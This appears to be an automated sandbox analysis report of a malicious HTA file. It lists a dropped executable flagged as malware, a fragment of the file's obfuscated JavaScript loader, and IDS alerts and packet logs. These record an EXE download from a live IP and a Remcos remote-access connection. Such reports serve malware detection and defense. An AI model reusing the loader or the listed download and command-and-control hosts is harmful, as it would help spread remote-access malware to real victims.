                                                                                Preview:.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                                                                C:\Users\user\AppData\Roaming\nicerose.exe

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                Category:dropped
                                                                                Size (bytes):1362944
                                                                                Entropy (8bit):7.346681623297669
                                                                                Encrypted:false
                                                                                SSDEEP:24576:TS1gzTBokW3THfYl7JTOs1r7FX2DOfqDrKfK8r/4mSwhONqR:TtTiq973f
                                                                                MD5:CCDCD04A0FFDE31366754018598EB02F
                                                                                SHA1:38492826E8FEBF5BD7DA4F9D8A8379EC7044CA9A
                                                                                SHA-256:63C77A3F6CFA94CBC6A4C0C1475F02520592E58D6A03E8553E77A85A3F03C32F
                                                                                SHA-512:8059CF54A64B45598B39BECB3EC02FDF4B5837E4DD84AC82D33334850D61D1B33DF70DA0A65857C33E9A0FE2DC3D405BDBF6FA7214AB68E471E2E0C0F7E31053
                                                                                Malicious:true
                                                                                Antivirus:
                                                                                • Antivirus: Avira, Detection: 100%
                                                                                • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                • Antivirus: ReversingLabs, Detection: 45%
                                                                                Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................,.............@..........................P...................@...........................p...*...@..........................H|...................................................w...............................text............................... ..`.itext..t........................... ..`.data...............................@....bss.....7...0...........................idata...*...p...,..................@....tls....4............@...................rdata...............@..............@..@.reloc..H|.......~...B..............@..B.rsrc........@......................@..@.............P......................@..@................................................................................................

                                                                                Static File Info

                                                                                General

                                                                                File type:HTML document, ASCII text, with very long lines (65450), with CRLF line terminators
                                                                                Entropy (8bit):2.5619523767555306
                                                                                TrID:
                                                                                  File name:greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta
                                                                                  File size:147'544 bytes
                                                                                  MD5:5590c12b4f62de6de143d675d7681db0
                                                                                  SHA1:e7f0a97a22c0c11336e1cbc37fee2e31adbf01ee
                                                                                  SHA256:3057554d997baa307152ad177f47430aa1b8748f2021c8080cc6876016829b23
                                                                                  SHA512:eb62448a56f6de94d8671c7bb6d882c56d802afbfbb49baa22cea344991736e34e320f9a0786397bffaf43afae6b7ac77f05ab29218a04e9ec68dd2eea37f891
                                                                                  SSDEEP:768:t1EHfLum2oum2J5KUJDVUKhC74GVf/Aq2v9PV8aQP2eLPyqv6vRc6cfzqfz4Asfc:tz
                                                                                  TLSH:6AE35C27C69FD838F6BB9EFBE23C972A5143DD05F88E890F0A9809D42DD154B711C968
                                                                                  File Content Preview:<Script Language='Javascript'>.. HTML Encryption provided by tufat.com -->.. ..document.write(unescape('%3C%68%74%6D%6C%3E%0A%3C%68%65%61%64%3E%0A%3C%2F%68%65%61%64%3E%0A%3C%62%6F%64%79%3E%0A%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74

                                                                                  Network Behavior

                                                                                  Suricata IDS Alerts

                                                                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                  2024-12-18T15:35:44.186977+01002022050ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M11173.214.167.7480192.168.2.449732TCP
                                                                                  2024-12-18T15:35:44.573919+01002022051ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M21173.214.167.7480192.168.2.449732TCP
                                                                                  2024-12-18T15:35:52.984845+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449736103.82.231.117443TCP
                                                                                  2024-12-18T15:36:00.437574+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.449738185.174.103.1112404TCP
                                                                                  2024-12-18T15:36:03.170325+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.449740178.237.33.5080TCP

                                                                                  Network Port Distribution

                                                                                  TCP Packets

                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                  Dec 18, 2024 15:35:42.974901915 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:43.097606897 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:43.097702026 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:43.097902060 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:43.219166040 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.186824083 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.186839104 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.186892986 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.186942101 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.186949015 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.186960936 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.186975956 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.186976910 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.187010050 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.187201023 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.187215090 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.187227011 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.187238932 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.187257051 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.187269926 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.306577921 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.306693077 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.307255983 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.307373047 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.311937094 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.313569069 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.379131079 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.379160881 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.379252911 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.383338928 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.383390903 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.383404970 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.383443117 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.389763117 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.389911890 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.389970064 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.398241043 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.398320913 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.398395061 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.406670094 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.406794071 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.406871080 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.415051937 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.415141106 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.415208101 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.423482895 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.423499107 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.423583031 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.431874037 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.431931019 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.432039976 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.440262079 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.440278053 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.440346003 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.448643923 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.448724031 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.448723078 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.448765039 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.457150936 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.457252979 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.457309961 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.571310997 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.571357012 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.571465969 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.573919058 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.574019909 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.574090958 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.578493118 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.578639030 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.578706980 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.583267927 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.583334923 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.583404064 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.588018894 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.588054895 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.588124037 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.592776060 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.592839956 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.592895985 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.597476959 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.597556114 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.597585917 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.597635984 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.602112055 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.602195024 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.602263927 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.606723070 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.606877089 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.606966019 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.611377001 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.611563921 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.611660957 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.616071939 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.616210938 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.616307020 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.620708942 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.620743990 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.620807886 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.625381947 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.625425100 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.625482082 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.630043983 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.630157948 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.630223989 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.634788036 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.634890079 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.634954929 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.639483929 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.639554977 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.639646053 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.644006014 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.644136906 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.644206047 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.648783922 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.648843050 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.648893118 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.653537989 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.653608084 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.653616905 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.653664112 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.658212900 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.658293009 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.658365965 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.662585974 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.664531946 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.763746977 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.763837099 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.763884068 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.763936996 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.765547991 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.765615940 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.765681982 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.765733957 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.769579887 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.769655943 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.769655943 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.769705057 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.773670912 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.773808956 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.773874998 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.777398109 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.777466059 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.777493954 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.777540922 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.781646013 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.781717062 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.781796932 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.784775019 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.784841061 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.784904957 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.785001040 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.788686037 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.788700104 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.788760900 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.792018890 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.792100906 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.792159081 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.795635939 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.795700073 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.795775890 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.795829058 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.798919916 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.799004078 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.799074888 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.802500010 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.802570105 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.802572012 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.802618027 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.806039095 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.806104898 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.806137085 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.806181908 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.809483051 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.809616089 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.809684038 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.812958956 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.813091993 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.813155890 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.816494942 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.816589117 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.816606045 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.816657066 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.819988012 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.820105076 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.820167065 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.823554039 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.823704004 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.823777914 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.827003956 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.827169895 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.827230930 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.830555916 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.830609083 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.830626011 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.830665112 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.834131956 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.834307909 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.834362984 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.837584972 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.837685108 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.837738991 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.841145039 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.841208935 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.841289997 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.844564915 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.844619989 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.844657898 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.844717026 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.848100901 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.848154068 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.848165989 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.848200083 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.851608038 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.851675987 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.851684093 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.851732969 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.855089903 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.855272055 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.855348110 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.858900070 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.859028101 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.859095097 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.862107038 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.862219095 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.862284899 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.865639925 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.865725040 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.865791082 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.869139910 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.869209051 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.869246960 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.872623920 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.872750044 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.872770071 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.872811079 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.872843027 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.955792904 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.955859900 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.955971003 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.957212925 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.957276106 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.957331896 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.960110903 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.960180044 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.960182905 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.960246086 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.962918997 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.962996006 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.963082075 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.965747118 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.965837002 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.965903997 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.968545914 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.968605042 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.968667030 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.971256018 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.971328020 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.971332073 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.971376896 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.973933935 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.974004030 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.974075079 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.976480007 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.976547956 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.976589918 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.979866982 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.979933977 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.980019093 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.980076075 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.981636047 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.981699944 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:44.981743097 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:44.981794119 CET4973280192.168.2.4173.214.167.74
